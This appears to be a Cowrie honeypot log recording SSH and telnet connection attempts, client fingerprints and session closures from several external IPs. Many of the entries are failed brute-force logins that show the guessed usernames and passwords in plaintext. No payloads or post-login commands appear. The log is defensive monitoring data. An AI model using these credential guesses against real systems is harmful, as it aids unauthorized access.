{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54492,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e4376894b95","protocol":"telnet","message":"New connection: 152.42.224.71:54492 (10.17.0.5:23) [session: 5e4376894b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:46.865510Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54508,"dst_ip":"10.17.0.5","dst_port":23,"session":"01ebc6c1386e","protocol":"telnet","message":"New connection: 152.42.224.71:54508 (10.17.0.5:23) [session: 01ebc6c1386e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:47.220134Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":55376,"dst_ip":"10.17.0.5","dst_port":22,"session":"276908078aa2","protocol":"ssh","message":"New connection: 43.173.85.181:55376 (10.17.0.5:22) [session: 276908078aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:50.697285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:50.701974Z","src_ip":"43.173.85.181","session":"276908078aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:50.772573Z","src_ip":"43.173.85.181","session":"276908078aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proradis","password":"liverovast#adkz443","message":"login attempt [proradis/liverovast#adkz443] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:51.074131Z","src_ip":"43.173.85.181","session":"276908078aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:52.145386Z","src_ip":"43.173.85.181","session":"276908078aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":56972,"dst_ip":"10.17.0.5","dst_port":22,"session":"728e7092bc69","protocol":"ssh","message":"New connection: 103.82.36.79:56972 (10.17.0.5:22) [session: 728e7092bc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:57.000620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:57.021533Z","src_ip":"103.82.36.79","session":"728e7092bc69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:57.449480Z","src_ip":"103.82.36.79","session":"728e7092bc69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhfcfdbwf","message":"login attempt [root/rhfcfdbwf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:58.730311Z","src_ip":"103.82.36.79","session":"728e7092bc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:45:59.987620Z","src_ip":"103.82.36.79","session":"728e7092bc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":33559,"dst_ip":"159.203.135.109","dst_port":22,"session":"0472cc163d8a","protocol":"ssh","message":"New connection: 2.57.121.25:33559 (159.203.135.109:22) [session: 0472cc163d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:00.037347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:00.043582Z","src_ip":"2.57.121.25","session":"0472cc163d8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:00.154199Z","src_ip":"2.57.121.25","session":"0472cc163d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23091979","message":"login attempt [user/23091979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:00.627439Z","src_ip":"2.57.121.25","session":"0472cc163d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00205135345459,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:01.431282Z","src_ip":"152.42.224.71","session":"034446dc24a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"230590","message":"login attempt [user/230590] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:01.730439Z","src_ip":"2.57.121.25","session":"0472cc163d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":50582,"dst_ip":"10.17.0.5","dst_port":22,"session":"e532bcb7ff33","protocol":"ssh","message":"New connection: 167.86.95.8:50582 (10.17.0.5:22) [session: e532bcb7ff33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:02.024981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:02.030374Z","src_ip":"167.86.95.8","session":"e532bcb7ff33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:02.182249Z","src_ip":"167.86.95.8","session":"e532bcb7ff33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"1","message":"login attempt [bot/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:02.651554Z","src_ip":"167.86.95.8","session":"e532bcb7ff33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"230586","message":"login attempt [user/230586] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:02.837244Z","src_ip":"2.57.121.25","session":"0472cc163d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:03.794556Z","src_ip":"167.86.95.8","session":"e532bcb7ff33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23051993","message":"login attempt [user/23051993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:03.940176Z","src_ip":"2.57.121.25","session":"0472cc163d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"221177","message":"login attempt [user/221177] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:05.043279Z","src_ip":"2.57.121.25","session":"0472cc163d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22508,"dst_ip":"159.203.135.109","dst_port":22,"session":"f48b2c61a5ad","protocol":"ssh","message":"New connection: 2.57.121.112:22508 (159.203.135.109:22) [session: f48b2c61a5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:05.654655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:05.659716Z","src_ip":"2.57.121.112","session":"f48b2c61a5ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:05.762965Z","src_ip":"2.57.121.112","session":"f48b2c61a5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:06.146756Z","src_ip":"2.57.121.25","session":"0472cc163d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"angel22","message":"login attempt [admin/angel22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:06.234939Z","src_ip":"2.57.121.112","session":"f48b2c61a5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"angel01","message":"login attempt [admin/angel01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:07.338433Z","src_ip":"2.57.121.112","session":"f48b2c61a5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44546,"dst_ip":"10.17.0.5","dst_port":23,"session":"4353af814b5a","protocol":"telnet","message":"New connection: 152.42.224.71:44546 (10.17.0.5:23) [session: 4353af814b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:07.409873Z"}
{"eventid":"cowrie.session.closed","duration":95.61540460586548,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:08.354768Z","src_ip":"152.42.224.71","session":"66a650d55bed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"amsterdam1","message":"login attempt [admin/amsterdam1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:08.440789Z","src_ip":"2.57.121.112","session":"f48b2c61a5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44550,"dst_ip":"10.17.0.5","dst_port":23,"session":"91182c8f6522","protocol":"telnet","message":"New connection: 152.42.224.71:44550 (10.17.0.5:23) [session: 91182c8f6522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:08.489142Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"amina","message":"login attempt [admin/amina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:09.543033Z","src_ip":"2.57.121.112","session":"f48b2c61a5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"amekpass","message":"login attempt [admin/amekpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:10.646195Z","src_ip":"2.57.121.112","session":"f48b2c61a5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:11.749402Z","src_ip":"2.57.121.112","session":"f48b2c61a5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.04507613182068,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:13.488768Z","src_ip":"152.42.224.71","session":"210094c5c556","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.97066903114319,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:16.344820Z","src_ip":"152.42.224.71","session":"01da7c9ee4eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52940,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e040635fed","protocol":"telnet","message":"New connection: 152.42.224.71:52940 (10.17.0.5:23) [session: 17e040635fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:18.249318Z"}
{"eventid":"cowrie.session.closed","duration":39.08262014389038,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:25.948033Z","src_ip":"152.42.224.71","session":"5e4376894b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34990,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c5eddc75b17","protocol":"telnet","message":"New connection: 152.42.224.71:34990 (10.17.0.5:23) [session: 1c5eddc75b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:28.241782Z"}
{"eventid":"cowrie.session.closed","duration":45.67214632034302,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:29.283392Z","src_ip":"152.42.224.71","session":"0cc553297ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34998,"dst_ip":"10.17.0.5","dst_port":23,"session":"baad3b1a5056","protocol":"telnet","message":"New connection: 152.42.224.71:34998 (10.17.0.5:23) [session: baad3b1a5056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:31.901874Z"}
{"eventid":"cowrie.session.closed","duration":44.7091178894043,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:31.929169Z","src_ip":"152.42.224.71","session":"01ebc6c1386e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00494194030762,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:36.084562Z","src_ip":"152.42.224.71","session":"ba5d8a52195c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.93555521965027,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:38.347349Z","src_ip":"152.42.224.71","session":"5bbdc3cc0caa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50942,"dst_ip":"10.17.0.5","dst_port":23,"session":"d00189bf5406","protocol":"telnet","message":"New connection: 152.42.224.71:50942 (10.17.0.5:23) [session: d00189bf5406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:42.873617Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":42600,"dst_ip":"159.203.135.109","dst_port":22,"session":"877ad80eb185","protocol":"ssh","message":"New connection: 47.237.167.49:42600 (159.203.135.109:22) [session: 877ad80eb185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:43.776927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:43.856465Z","src_ip":"47.237.167.49","session":"877ad80eb185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49118,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f97f56507da","protocol":"telnet","message":"New connection: 152.42.224.71:49118 (10.17.0.5:23) [session: 9f97f56507da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:46.032661Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:46.668425Z","src_ip":"47.237.167.49","session":"877ad80eb185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49120,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0c59732d85b","protocol":"telnet","message":"New connection: 152.42.224.71:49120 (10.17.0.5:23) [session: a0c59732d85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:46.805799Z"}
{"eventid":"cowrie.session.closed","duration":47.39185976982117,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:46:55.880900Z","src_ip":"152.42.224.71","session":"91182c8f6522","protocol":"telnet"}
